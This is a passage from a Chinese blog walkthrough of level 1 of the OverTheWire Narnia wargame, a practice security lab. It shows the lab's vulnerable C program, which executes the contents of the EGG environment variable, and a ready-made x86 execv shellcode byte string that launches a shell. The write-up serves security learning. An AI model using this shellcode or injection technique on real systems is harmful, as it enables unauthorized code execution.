标签:style class blog c code java
拿着我们的第0关得到的密码XXXX进入第1关
ssh narnia1@narnia.labs.overthewire.org
cat narnia1.c
#include <stdio.h> int main()
{ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }
这个程序意思也很明显,判断一下环境变量EGG是否为空,然后跳到EGG执行(即执行EGG里面的指令)
所以…… 在EGG里面放一个execv(),也就可以执行了。
可以用
export 变量名= $‘ shellcode‘ 来改变环境变量
Shellcode的话,可以自己写,也可以找现成的。
我用的是别人写好的。
http://shell-storm.org/shellcode/files/shellcode-756.php execv()
\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
OK,成功了。
Wargame narnia level 1 (中文攻略),布布扣,bubuko.com
标签:style class blog c code java
原文地址:http://www.cnblogs.com/wu-yan/p/3750616.html